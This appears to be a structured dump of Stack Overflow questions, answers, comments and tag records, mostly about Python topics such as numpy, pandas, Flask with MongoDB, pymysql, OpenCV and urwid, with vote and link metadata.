has body: the txt file is arranged like this: // X Y Z Normal Normal Point_Number Polygon_Number Point_Order_in_Polygon 67985.9074793747 34638.0915607559 533.775655680476 -1 -1 1 1 1 67981.5437461855 34627.2539106468 533.764021321678 0 0 2 1 2 67997.7408091771 34620.3855689056 533.927503654968 0 0 3 1 3 67989.4413768826 34601.1464928668 533.901896342952 0 0 4 1 4 67973.1472424856 34608.5241453471 533.734791828197 0 0 5 1 5 67968.2664777245 34596.6747014774 533.721414813632 0 0 6 1 6 67994.8853704575 34584.8244917691 533.994873913293 0 0 7 1 7 68013.5423896126 34626.2315086909 534.059094507073 1 1 8 1 8 67986.0967153860 34638.0706547732 513.320220307159 -1 -1 9 2 1 68013.7316254312 34626.2106030220 513.603669292181 0 0 10 2 2 67995.0746065266 34584.8035856923 513.539435492419 0 0 11 2 3 67968.4557138123 34596.6537953690 513.265975376945 0 0 12 2 4 67973.3364783805 34608.5032395525 513.279362549935 0 0 13 2 5 67989.6306123557 34601.1255877651 513.446489413198 0 0 14 2 6 67997.9290884072 34620.2630805532 513.475272916085 0 0 15 2 7 67981.7329827733 34627.2330037206 513.308555473084 1 1 16 2 8 68013.7316254312 34626.2106030220 513.603669292181 -1 -1 17 3 1 67986.0967153860 34638.0706547732 513.320220307159 0 0 18 3 2 67985.9074793747 34638.0915607559 533.775655680476 0 0 19 3 3 68013.5423896126 34626.2315086909 534.059094507073 1 1 20 3 4 67995.0746065266 34584.8035856923 513.539435492419 -1 -1 21 4 1 68013.7316254312 34626.2106030220 513.603669292181 0 0 22 4 2 68013.5423896126 34626.2315086909 534.059094507073 0 0 23 4 3 67994.8853704575 34584.8244917691 533.994873913293 1 1 24 4 4 There are about 700 polygons. Not all polygons have the same number of points. I didn't have any problems reading these polygons in C++, but i have no idea how to visualize them. Is there any function in Matlab or Python which can draw multiple 3D polygons or do I have to use gis software like qgis or arcgis?
has title: is there any way to draw polygons using data from a txt file?
has comment: http://stackoverflow.com/comment/84703546
has comment: http://stackoverflow.com/comment/84551901
tagged with: polygon
upvote count: 1
answer count: 1
linked to: http://stackoverflow.com/q/43948680
favorite count: 0
has comment: http://stackoverflow.com/comment/84551085
has comment: http://stackoverflow.com/comment/84552493
has answer: http://stackoverflow.com/a/48788368
accepted answer: http://stackoverflow.com/a/48788368

http://stackoverflow.com/comment/84512012
type: AnswerComment
has text: That did it! Was just reading up on strips right as I found out there were spaces. Everything is looking good now I really appreciate your help :)
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48726180

http://stackoverflow.com/comment/84579672
has text: This one is outputting `{0: 3, 1: 1, 2: 2, 3: 1, 4: 3, 5: 1}` (Python-3) which is hardy what the OP is looking for.
type: AnswerComment
comment on: http://stackoverflow.com/a/48788580
score: 0
type: Comment

http://stackoverflow.com/comment/84555251
has text: @juanpa.arrivillaga Okay, thank you. I was under the impression it'd throw errors.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48776592

http://stackoverflow.com/comment/84460476
has text: @BradSolomon it's for crypto indices. Actually I've just now managed to successfully run TA-lib and it's performing Chaikin osc really well (identical to reference), so it appears it's not about some kind of different implementations of the indicator
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48722737

http://stackoverflow.com/comment/84556043
type: Comment
type: QuestionComment
has text: @eagle how would i do that?
comment on: http://stackoverflow.com/q/48776440
score: 0

http://stackoverflow.com/comment/103998721
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48714407
type: QuestionComment
has text: @BenOgorek Indeed; I wonder if question statistics (votes, views) would transfer - else it might be better to keep it here

http://stackoverflow.com/q/48651109
has body: Hello I'm doing a home project where I want to use two radios: one connected directly to an FPV camera and one connected to a Linux laptop via USB. The thing that's getting me stumped is finding the radio on my Ubuntu 16.04 Linux machine via Python. I know there is Mission Planner used specifically for telemetry and FPV data but I also want to analyze the video using OpenCV. I have it working with the camera connected to the laptop directly but not with any radios. Looking around the internet I've seen people mention ttyAMA0 in the /dev directory but when I use that as an argument for the OpenCV function VideoCapture() it throws an exception and says it can't open the video. Same thing when I just put in 0 or 1. (my laptop doesn't have a webcam but just in case I tried both) I also have a version of my code in C++ if anyone knows that way instead. Any help would be appreciated. Ashley
has comment: http://stackoverflow.com/comment/84301362
has comment: http://stackoverflow.com/comment/84304778
tagged with: c++
tagged with: opencv
has title: How to find a radio on a Linux Machine using Python and OpenCV
answer count: 0
has comment: http://stackoverflow.com/comment/84301952
type: Question
has comment: http://stackoverflow.com/comment/84302892
has comment: http://stackoverflow.com/comment/84301425
has comment: http://stackoverflow.com/comment/84300460
has comment: http://stackoverflow.com/comment/84301644
has comment: http://stackoverflow.com/comment/84301548
score: 0
has comment: http://stackoverflow.com/comment/84300898
has comment: http://stackoverflow.com/comment/84301271
has comment: http://stackoverflow.com/comment/84303927
tagged with: linux
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84302164
has comment: http://stackoverflow.com/comment/84303977
tagged with: python

http://stackoverflow.com/q/48728067
type: AnsweredQuestion
tagged with: dll
has answer: http://stackoverflow.com/a/72568442
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/72568442
accepted answer: http://stackoverflow.com/a/48733540
score: 4
favorite count: 0
tagged with: python-2.7
has title: Where can I get obscure DLL so py2exe will compile?
tagged with: gfortran
has answer: http://stackoverflow.com/a/48733540
tagged with: python
upvote count: 4
has body: I am running py2exe to convert a rather large (~20k lines) python file into an executable. It's an older program and is written in python 2.7, 32 bit, so it does not translate well to a minimum working example. On running py2exe I encounter the following error: error: [Errno 2] No such file or directory: 'libopenblas.UWVN3XTD2LSS7SFIFK6TIQ5GONFDBJKU.gfortran-win32.dll' Having this dll in the Python27/DLLs folder will solve this issue, but after scouring the depths of google I have been unable to make any progress. My question: where can one download this dll, or a library which would contain this dll?
tagged with: py2exe
has comment: http://stackoverflow.com/comment/84455159
has comment: http://stackoverflow.com/comment/84466048
downvote count: 0

http://stackoverflow.com/comment/84574146
has text: Does `X1.size == X1.ravel().size`? Those ellipses mean there’s a bunch of numbers in between.
comment on: http://stackoverflow.com/q/48786388
score: 4
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84608736
has text: I ended up using the this approach for selecting the xPath: `xpath_attribute_title_and_value = '//*[@id="main-sidebar-container"]/div/div[1]/div[2]/div/div[3]'`, but your approach worked as well.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48796733
type: Comment

http://stackoverflow.com/a/61930927
has body: You can also format to ms official docs and then parse to int and cut it to the length than you needed. int(arrow.utcnow().format("x")[:13])
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/48695973
type: Answer
upvote count: 1

http://stackoverflow.com/q/48780324
favorite count: 0
linked to: http://stackoverflow.com/q/11817182
score: 37
duplicate of: http://stackoverflow.com/q/10434599
tagged with: python
duplicate of: http://stackoverflow.com/q/11817182
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48781606
tagged with: pymongo
type: Question
tagged with: mongodb
upvote count: 37
has body: I'm trying to do a file upload & enter data task into my MongoDB using flask but I had this error when I filled my form & upload the image: Bad Request The browser (or proxy) sent a request that this server could not understand. my HTML code Full Name* Email* Password* Your Image* & my python code: from flask import Flask, render_template, request, url_for from flask_pymongo import PyMongo import os app = Flask(__name__) app.config['MONGO_DBNAME'] = 'flask_assignment' app.config['MONGO_URI'] = 'mongodb://<user>:<pass>@<host>:<port>/<database>' mongo = PyMongo(app) app_root = os.path.dirname(os.path.abspath(__file__)) @app.route('/', methods=['GET', 'POST']) def index(): target = os.path.join(app_root, 'static/img/') if not os.path.isdir(target): os.mkdir(target) if request.method == 'POST': name = request.form['u_name'] password = request.form['u_pass'] email = request.form['u_email'] file_name = '' for file in request.form['u_img']: file_name = file.filename destination = '/'.join([target, file_name]) file.save(destination) mongo.db.employee_entry.insert({'name': name, 'password': password, 'email': email, 'img_name': file_name}) return render_template('index.html') else: return render_template('index.html') app.run(debug=True)
tagged with: flask
accepted answer: http://stackoverflow.com/a/48781606
answer count: 1
downvote count: 0
has title: Flask - Bad Request The browser (or proxy) sent a request that this server could not understand

http://stackoverflow.com/comment/84379119
has text: There is no problem distorting a text. Use an *homographic* transform. (And I don't think it is necessary to store in a file before training.) Another approach is to figure out the distortion, undistort the text and perform ordinary OCR.
comment on: http://stackoverflow.com/q/48689532
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84433219
type: QuestionComment
comment on: http://stackoverflow.com/q/48716934
has text: Actually this is what I get, but None might be a string...
score: 0
type: Comment

feature-detection
type: Tag
tag name: feature-detection
tags question: http://stackoverflow.com/q/48767770

http://stackoverflow.com/q/48707089
answer count: 3
has comment: http://stackoverflow.com/comment/84415710
upvote count: 10
tagged with: python
has comment: http://stackoverflow.com/comment/84413240
tagged with: fractions
has comment: http://stackoverflow.com/comment/84413617
tagged with: floating-point
has comment: http://stackoverflow.com/comment/84412865
has comment: http://stackoverflow.com/comment/84413480
type: AnsweredQuestion
has title: fractions.Fraction() returns different nom., denom. pair when parsing a float or its string representation
linked to: http://stackoverflow.com/q/588004
has body: I am aware of the nature of floating point math but I still find the following surprising: from fractions import Fraction print(Fraction(0.2)) # -&gt; 3602879701896397/18014398509481984 print(Fraction(str(0.2))) # -&gt; 1/5 print(Fraction(0.2)==Fraction(str(0.2))) # returns False print(0.2 == float(str(0.2))) # but this returns True! From the documentation I could not find anything that would explain that. It does state: ...In addition, any string that represents a finite value and is accepted by the float constructor is also accepted by the Fraction constructor... but to me this implies a similar behavior to float() which I just do not see as shown above. Is there any explanation for this? It is important to note that the behavior shown above is not specific to the value (0.2) but rather general; everything I tried behaved the same way. Interestingly enough: from fractions import Fraction for x in range(1, 257): if Fraction(str(1/x))==Fraction(1/x): print(x) prints only the powers of 2 that are smaller than the selected upper bound: 1 2 4 8 16 32 64 128 256
linked to: http://stackoverflow.com/q/2076290
has answer: http://stackoverflow.com/a/48708259
has comment: http://stackoverflow.com/comment/84412856
type: Question
has comment: http://stackoverflow.com/comment/84413219
score: 9
has comment: http://stackoverflow.com/comment/84413137
has comment: http://stackoverflow.com/comment/84412861
downvote count: 1
has comment: http://stackoverflow.com/comment/84412912
possible better answer: http://stackoverflow.com/a/48708259
has answer: http://stackoverflow.com/a/48707299
favorite count: 0
has answer: http://stackoverflow.com/a/48707584
accepted answer: http://stackoverflow.com/a/48707584

http://stackoverflow.com/q/48785833
has answer: http://stackoverflow.com/a/48827276
has title: Python Aggregation on time-series
possible better answer: http://stackoverflow.com/a/48788936
linked to: http://stackoverflow.com/q/42151886
score: 4
has comment: http://stackoverflow.com/comment/84573737
upvote count: 4
tagged with: numpy
tagged with: python-2.7
answer count: 2
tagged with: pandas
has comment: http://stackoverflow.com/comment/84575824
has comment: http://stackoverflow.com/comment/84578975
downvote count: 0
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84574148
has answer: http://stackoverflow.com/a/48788936
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84573320
has comment: http://stackoverflow.com/comment/84573507
accepted answer: http://stackoverflow.com/a/48827276
has body: I have a dataframe df like this project_ID country prj_start prj_end revenue profit 2131 USA 201603 201703 100000 30000 5124 UK 201502 201606 1500 1000 1245 UK 201010 201710 1800 1000 I want to find the number of active projects per month and country and sum their revenue and profits. The output would look like this Month country active_projects revenue profit 201603 USA 15 500000 100000 201603 UK 20 150000 100000 201604 Germany 30 1000000 500000 My first programming language is C++, so I tend to do things using loops. I almost succeeded at a solution where I created the month slots like this. #making a monthlist dataframe with count column to hold no. of active projects monthlist = pd.DataFrame(columns= ["months","count"]) #making a new dataframe to insert the results into newdf = pd.DataFrame(columns=["month", "country","active_prj_count","rev","gp"]) #making the month slots, not concerned with future values monthlist['months']=pd.date_range(start = min(df['prj_start']), end =datetime.date.today(), freq='M').map(lambda x: 100*x.year + x.month) monthlist['count']=0 #traversing through the original dataframe and monthlist to insert a new row into newdf #everytime the project start is less than and prj end is greater than the month slot i=0 for y in range(len(df)): for x in range(len(monthlist)): if(df.loc[y,'prj_start']&lt;=monthlist.loc[x,'months'] &amp; df.loc[y,'prj_end']&gt;=monthlist.loc[x,'months']): monthlist.loc[x,'count']=monthlist.loc[x,'count']+1 newdf.loc[i] = [monthlist.loc[x,'months'],df.loc[y,'country'] ,monthlist.loc[x,'count'],df.loc[y,'revenue'],df.loc[y,'profit']] i=i+1 this solution works, but I have to admit it is not very smart and computationally efficient. takes a while to process. Anyone with ideas to improve the code by probably using pandas or numpy functions?
has comment: http://stackoverflow.com/comment/84575711
has comment: http://stackoverflow.com/comment/84576060
type: Question

http://stackoverflow.com/a/48704985
has comment: http://stackoverflow.com/comment/84414251
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48704690
has body: You can take a rectangular section with numeric indices like this: df.iloc[4:8, 0:8] # four rows, eight columns Or you can use loc with column and row labels (but your data seem to be numerically labeled).
has comment: http://stackoverflow.com/comment/84418080

http://stackoverflow.com/a/48721673
has comment: http://stackoverflow.com/comment/84442262
type: Answer
has body: You can use set.issubset with collections.Counter here. Demo: from collections import Counter big2DArray = [["a","g","r"], ["a","r"], ["p","q"], ["a", "r"], ["r", "a"]] counts = Counter(map(lambda x: tuple(sorted(x)), big2DArray)) count_lst = list(counts) for i, k1 in enumerate(count_lst): rest = count_lst[:i] + count_lst[i+1:] for k2 in rest: if set(k1).issubset(k2): counts[k1] += 1 print(counts) Output: Counter({('a', 'r'): 4, ('a', 'g', 'r'): 1, ('p', 'q'): 1}) In the above code, in order to make sure ["r", "a"] and ["a","r"] are equivalent, you can sort them beforehand, and add them as tuples to Counter(). The other more efficient way would be to use frozenset, as shown in the other answer.
upvote count: 1
has comment: http://stackoverflow.com/comment/84442292
answers question: http://stackoverflow.com/q/48721469
score: 1
downvote count: 0

http://stackoverflow.com/comment/84484194
type: QuestionComment
has text: `Wait Until Keyword Succeeds`. How do you tell RobotFramework that your keyword has succeded? You don't. Did you wait 5 minutes to see what happens then?
comment on: http://stackoverflow.com/q/48741983
score: 0
type: Comment

http://stackoverflow.com/a/48777066
type: Answer
upvote count: 22
downvote count: 0
answers question: http://stackoverflow.com/q/48777014
has body: Note, the best answer is probably just to use object.__repr__ directly, as the others have pointed out. But one could implement that same functionality roughly as: &gt;&gt;&gt; def true_repr(x): ... type_ = type(x) ... module = type_.__module__ ... qualname = type_.__qualname__ ... return f"&lt;{module}.{qualname} object at {hex(id(x))}&gt;" ... So.... &gt;&gt;&gt; A() hahahahaha &gt;&gt;&gt; true_repr(A()) '&lt;__main__.A object at 0x106549208&gt;' &gt;&gt;&gt;
score: 22
has comment: http://stackoverflow.com/comment/84564566
has comment: http://stackoverflow.com/comment/84569680

http://stackoverflow.com/a/48795132
accepted answer of: http://stackoverflow.com/q/48794808
has comment: http://stackoverflow.com/comment/84593152
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48794808
type: Answer
score: 2
upvote count: 2
has body: You also need to install IPython into your new environment: conda install ipython otherwise it uses the ipython form "outside" the environment because it is a command line app and not necessary connected to an environment. You can check IPython you use with: where ipython

http://stackoverflow.com/q/48794345
has title: Efficient Way to Balance Array of Integers in Python
tagged with: random
score: 2
has comment: http://stackoverflow.com/comment/84594560
downvote count: 0
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84590977
answer count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/84592178
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84591029
type: Question
has comment: http://stackoverflow.com/comment/84592284
tagged with: transformation
has body: The following code import numpy as np W = 5 # any odd positive integer L = 7 # any positive integer M = (W-1)//2 arr = np.random.choice(range(W),L) - M generates an array of length L with numbers ranging from -M to M. Now I want to amend this array such that its sum is 0 (while keeping the restriction that elements are within -M to M). I want to achieve this by adding increments of +1 (if the initial sum is negative) or increments of -1 (if the initial sum is positive) to the elements of this array, starting from the first element of the list (and then the second, third, etc. should I need to). For example, if the initial sum is -2 (i.e. negative) and the array is [2,0,-1,...] then I cannot increment by the first element by +1 (it's already at max W=2), and thus I need to increment the second element two times, resulting in [2,2,-1,...]. Three samples: [-1, 0, 0, -1, 2, 0, 2] ---&gt; [-2, -1, 0, -1, 2, 0, 2] or [-2, -2, 1, -2, 0, -1, 2] ---&gt; [ 2, -2, 1, -2, 0, -1, 2] or [ 2, 2, 2, 2, 2, 2, 2] ---&gt; [-2, -2, -2, 0, 2, 2, 2] It's easy to write a few for/while loops which do this, but is there a more efficient way (perhaps a numpy function)?
tagged with: arrays
has comment: http://stackoverflow.com/comment/84591854

http://stackoverflow.com/comment/84409215
has text: @tripleee But arn't ints in python at least 32 bits long? The numbers in the example don't reach that length
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48705166
type: Comment

list
tags question: http://stackoverflow.com/q/48649498
tags question: http://stackoverflow.com/q/48709058
type: Tag
tags question: http://stackoverflow.com/q/48749711
tags question: http://stackoverflow.com/q/48798582
tags question: http://stackoverflow.com/q/48721603
tags question: http://stackoverflow.com/q/48740621
tags question: http://stackoverflow.com/q/48752762
tags question: http://stackoverflow.com/q/48714612
tags question: http://stackoverflow.com/q/48666460
tags question: http://stackoverflow.com/q/48713206
tags question: http://stackoverflow.com/q/48716411
tags question: http://stackoverflow.com/q/48787941
tags question: http://stackoverflow.com/q/48660923
tags question: http://stackoverflow.com/q/48653563
tags question: http://stackoverflow.com/q/48676128
tags question: http://stackoverflow.com/q/48722859
tags question: http://stackoverflow.com/q/48697987
tags question: http://stackoverflow.com/q/48774616
tags question: http://stackoverflow.com/q/48674625
tags question: http://stackoverflow.com/q/48800698
tags question: http://stackoverflow.com/q/48774737
tags question: http://stackoverflow.com/q/48657080
tags question: http://stackoverflow.com/q/48692845
tags question: http://stackoverflow.com/q/48774860
tags question: http://stackoverflow.com/q/48693423
tags question: http://stackoverflow.com/q/48738530
tags question: http://stackoverflow.com/q/48753183
tags question: http://stackoverflow.com/q/48757801
tags question: http://stackoverflow.com/q/48758732
tags question: http://stackoverflow.com/q/48794115
tags question: http://stackoverflow.com/q/48756830
tags question: http://stackoverflow.com/q/48721602
tags question: http://stackoverflow.com/q/48681121
tags question: http://stackoverflow.com/q/48690588
tags question: http://stackoverflow.com/q/48776566
tags question: http://stackoverflow.com/q/48757552
tags question: http://stackoverflow.com/q/48733905
tags question: http://stackoverflow.com/q/48767159
tags question: http://stackoverflow.com/q/48658241
tags question: http://stackoverflow.com/q/48718801
tags question: http://stackoverflow.com/q/48675076
tags question: http://stackoverflow.com/q/48753397
tags question: http://stackoverflow.com/q/48792648
tags question: http://stackoverflow.com/q/48659092
tags question: http://stackoverflow.com/q/48745169
tags question: http://stackoverflow.com/q/48801000
tags question: http://stackoverflow.com/q/48716653
tags question: http://stackoverflow.com/q/48694368
tags question: http://stackoverflow.com/q/48691337
tags question: http://stackoverflow.com/q/48740895
tags question: http://stackoverflow.com/q/48665737
tags question: http://stackoverflow.com/q/48772715
tags question: http://stackoverflow.com/q/48662397
tags question: http://stackoverflow.com/q/48785050
tags question: http://stackoverflow.com/q/48797290
tags question: http://stackoverflow.com/q/48686810
tags question: http://stackoverflow.com/q/48744137
tags question: http://stackoverflow.com/q/48695974
tags question: http://stackoverflow.com/q/48767428
tag name: list
tags question: http://stackoverflow.com/q/48666246
tags question: http://stackoverflow.com/q/48704010
tags question: http://stackoverflow.com/q/48752577
tags question: http://stackoverflow.com/q/48677692
tags question: http://stackoverflow.com/q/48713469
tags question: http://stackoverflow.com/q/48690189
tags question: http://stackoverflow.com/q/48734030
tags question: http://stackoverflow.com/q/48718888
tags question: http://stackoverflow.com/q/48786764
tags question: http://stackoverflow.com/q/48752623
tags question: http://stackoverflow.com/q/48689396
tags question: http://stackoverflow.com/q/48799698
tags question: http://stackoverflow.com/q/48762266
tags question: http://stackoverflow.com/q/48675593
tags question: http://stackoverflow.com/q/48728668
tags question: http://stackoverflow.com/q/48691833
tags question: http://stackoverflow.com/q/48661099
tags question: http://stackoverflow.com/q/48657821
tags question: http://stackoverflow.com/q/48692264

http://stackoverflow.com/comment/84433654
has text: Thank you very much! In fact, the file contains columns for non-numeric values. Sorry for the ambiguity... Thank you for you guys comments and answer!!
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48697854
type: AnswerComment

http://stackoverflow.com/a/48783662
score: 2
upvote count: 2
downvote count: 0
has body: Use a set instead of a list for values. Set membership checking will be a lot faster. values = set() Don't use readlines(). Just iterate thru the file itself.
answers question: http://stackoverflow.com/q/48783606
type: Answer

http://stackoverflow.com/a/48883431
has comment: http://stackoverflow.com/comment/84771591
has comment: http://stackoverflow.com/comment/85043329
has comment: http://stackoverflow.com/comment/84773045
has body: So, here is one way of doing this by subclassing urwid.ListBox, we can add an attribute all_children_visible which is set at the times when we know the size of the widget (that is, when rendering or when handling an input event). The sample code, based on the sample you provided: import string import urwid class MyListBox(urwid.ListBox): all_children_visible = True def keypress(self, size, *args, **kwargs): self.all_children_visible = self._compute_all_children_visible(size) return super(MyListBox, self).keypress(size, *args, **kwargs) def mouse_event(self, size, *args, **kwargs): self.all_children_visible = self._compute_all_children_visible(size) return super(MyListBox, self).mouse_event(size, *args, **kwargs) def render(self, size, *args, **kwargs): self.all_children_visible = self._compute_all_children_visible(size) return super(MyListBox, self).render(size, *args, **kwargs) def _compute_all_children_visible(self, size): n_total_widgets = len(self.body) middle, top, bottom = self.calculate_visible(size) n_visible = len(top[1]) + len(bottom[1]) if middle: n_visible += 1 return n_total_widgets == n_visible def callback(): debug.set_text( "Are all children visible? {}\n".format(listbox.all_children_visible) ) captions = list(string.uppercase + string.lowercase) # uncomment this line to test case of all children visible: # captions = list(string.uppercase) debug = urwid.Text("Debug") items = [urwid.Button(caption) for caption in captions] walker = urwid.SimpleListWalker(items) listbox = MyListBox(walker) urwid.connect_signal(walker, "modified", callback) frame = urwid.Frame(body=listbox, header=debug) urwid.MainLoop(frame).run() I'm not sure how well this performs (I haven't tested it extensively), so I'm curious how this will perform for your case -- let me know how it goes. :)
has comment: http://stackoverflow.com/comment/86058797
downvote count: 0
has comment: http://stackoverflow.com/comment/85044313
type: Answer
answers question: http://stackoverflow.com/q/48737120
has comment: http://stackoverflow.com/comment/84774011
score: 1
upvote count: 1

http://stackoverflow.com/comment/85711987
comment on: http://stackoverflow.com/a/49315201
type: AnswerComment
score: 0
type: Comment
has text: Based on the file path, I also wanted to add a column specific to the file path in each input read. I don't think that would be possible.

http://stackoverflow.com/q/48717626
tagged with: pymysql
has answer: http://stackoverflow.com/a/48717684
has comment: http://stackoverflow.com/comment/84434644
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84434397
has title: Mysql syntax error in python
type: Question
has comment: http://stackoverflow.com/comment/84434684
has comment: http://stackoverflow.com/comment/84434371
has body: I have 5 MySQL columns. I want to insert data into my columns with a for loop. But I always get an error. SQL query: for i in range(5): sql = "INSERT INTO fighters({},{}) VALUES(%s,%s) WHERE clan=%s".format("shot_" + str(i), "damage_" + str(i)) cur.execute(sql, (shot, damage, clanname) conn.commit() Error: pymysql.err.ProgrammingError: (1064, u"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'WHERE clan='blacks'' at line 1")
score: 0
tagged with: sql
answer count: 1

http://stackoverflow.com/q/48709457
has answer: http://stackoverflow.com/a/48709529
has comment: http://stackoverflow.com/comment/84418675
favorite count: 0
has body: Here is a function using a triple quoted f-string with lots of sub-elements: def pass_empty_string(param): from lxml import etree xml = etree.XML(f''' text {param} ... ''') return xml Is it possible to get an empty element when param is getting None or '' value?
tagged with: string-literals
tagged with: lxml
tagged with: python
accepted answer: http://stackoverflow.com/a/48709626
has answer: http://stackoverflow.com/a/48709590
downvote count: 3
possible better answer: http://stackoverflow.com/a/48709529
upvote count: 1
has answer: http://stackoverflow.com/a/48709626
has title: How can I pass an empty string into triple quoted f-string in Python?
type: AnsweredQuestion
tagged with: f-string
score: -2
type: Question
has comment: http://stackoverflow.com/comment/84417870
answer count: 3

http://stackoverflow.com/q/48745432
has body: I wish to do something like this where I have an ndarray containing coordinates, and one containing values, as required by scipy.interpolate.griddata import numpy p = {(1,2):10, (0,2):12, (2,0):11} coords, values = np.array([(np.array(k),v) for k,v in p.items()]).T However, I also want to be able to do the following: x = coords[:,0] y = coords[0,:] np.mgrid[x.min():x.max():5j, y.min():y.max():5j] but, I am getting the error: IndexError: too many indices for array for x = coords[:,0]. What am I doing wrong?
upvote count: 1
answer count: 1
downvote count: 0
favorite count: 0
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/48745623
tagged with: python
type: AnsweredQuestion
has title: IndexError: too many indices for np.array
score: 1
has answer: http://stackoverflow.com/a/48745623
tagged with: scipy
type: Question
tagged with: numpy

http://stackoverflow.com/comment/84542985
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/48770804
has text: `\b\d{1,3}(?:\.?\d{3})*(?:,\d{2})?\b`? Wow talk about downvotes... Give the guy a chance. He presented what he tried, told us what's not working, gave us samples of what he is trying to match. Sure the OP's English isn't on par, but it's understandable. Wow.

http://stackoverflow.com/q/48697381
tagged with: numpy
tagged with: arrays
possible better answer: http://stackoverflow.com/a/48697483
upvote count: 3
answer count: 3
has answer: http://stackoverflow.com/a/48697498
downvote count: 1
has title: Appending to numpy arrays
favorite count: 0
has body: I'm trying to construct a numpy array, and then append integers and another array to it. I tried doing this: xyz_list = frag_str.split() nums = numpy.array([]) coords = numpy.array([]) for i in range(int(len(xyz_list)/4)): numpy.append(nums, xyz_list[i*4]) numpy.append(coords, xyz_list[i*4+1:(i+1)*4]) print(atoms) print(coords) Printing out the output only gives my empty arrays. Why is that? In addition, how can I rewrite coords in a way that allows me to have 2D arrays like this: array[[0,0,0],[0,0,1],[0,0,-1]]?
tagged with: python
has comment: http://stackoverflow.com/comment/84394181
has answer: http://stackoverflow.com/a/48697483
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48697430
accepted answer: http://stackoverflow.com/a/48697430
type: Question

http://stackoverflow.com/q/48767396
score: 2
downvote count: 0
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48769378
tagged with: python
has body: I'm currently working on a python project using peewee to connect to MySQLDatabase. If I want to create a table using database.create_tables(tables=[]) (create_table does not work) I get the following error message from my logger: ERROR session[5924]: (1005, 'Can't create table example_database.example_table (errno: 150 "Foreign key constraint is incorrectly formed")') example_table is specified as: class Example_Table(BaseModel): id = PrimaryKeyField() example_table2 = ForeignKeyField(Modul) class Meta: db_table = 'Example_Table' BaseModel is defined as follows: class BaseModel(Model): class Meta: database = database and database is my MySQLDatabase Object. The Problem is, why doesnt the foreign key constraint work and why are the tables all saved in Lowercase, but I defined them in Uppercase If I run the program again, It creates the tables but gives me a duplicate key_name error Version: peewee==3.0.17
type: AnsweredQuestion
upvote count: 2
tagged with: mysql
type: Question
tagged with: peewee
accepted answer: http://stackoverflow.com/a/48769378
has title: Python peewee foreign key constraint incorrectly formed

http://stackoverflow.com/q/48737245
has comment: http://stackoverflow.com/comment/86892572
favorite count: 0
type: Question
tagged with: datetime
tagged with: python
upvote count: 2
has title: Pandas Custom Business Day Calendar Offset
type: UnansweredQuestion
tagged with: datetimeoffset
score: 2
has body: 'This is a basic question that I can't seem to find addressed anywhere. I understand how to make a custom business day calendar per the pandas documentation. However, I have a datetime index that is already created and is 'customized'. It is a date range with particular dates eliminated: custom_datelist: 2003-01-02 2003-01-03 2003-01-05 2003-01-06 2003-01-09 ... So, with this calendar, how do I create a date offset? The documentation indicates how to generate the date series but it isn't clear about the offset in this case. Would my offset simply be: pd.to_datetime('2003-01-06') + 1*custom_datelist give me pd.to_datetime('2003-01-09')? Thanks.
downvote count: 0
answer count: 0

http://stackoverflow.com/comment/84353497
has text: So I must used Selenium&#39;s live browser window? I dislike that it opens a new chrome window as this code is being used for a bot. Would it be possible to use Selenium without opening an actual window? Could i also build the soup object in a differenr way such that it will work?
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48677864

http://stackoverflow.com/comment/84614108
type: Comment
type: QuestionComment
has text: @ImportanceOfBeingErnest, I agree that visualizing a 4D data on 3D plot is more flashy than imformative! But I am just trying to check this possibility on python-matplotlib.
score: 0
comment on: http://stackoverflow.com/q/48801147

http://stackoverflow.com/a/48798573
downvote count: 0
score: 1
has body: Use shutil.move Set up mkdir -p 1/2/3 touch 1/2/3/README.md mkdir -p 1/3/4 mkdir -p 1/3/5 Run import shutil shutil.move('1/2/3', 'a/b/c') Result $ ls 1 2 3 $ ls a/b/c README.md
answers question: http://stackoverflow.com/q/48798249
upvote count: 1
type: Answer

http://stackoverflow.com/comment/84431292
has text: You're welcome. You can also redirect the stdout to a fifo also like I did here, but like always there are the usual caveats with using those. Just too bad that Python stdlib still has not implemented the ncurses `newterm` and `set_term` API call.
type: Comment
comment on: http://stackoverflow.com/a/48698501
score: 0
type: AnswerComment

http://stackoverflow.com/q/48649643
tagged with: python
has answer: http://stackoverflow.com/a/48658363
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/124232403
upvote count: 1
tagged with: web-scraping
type: Question
tagged with: automation
has title: How to fill in form data, submit form, and download response ZIP file automatically in Python
accepted answer: http://stackoverflow.com/a/48658363
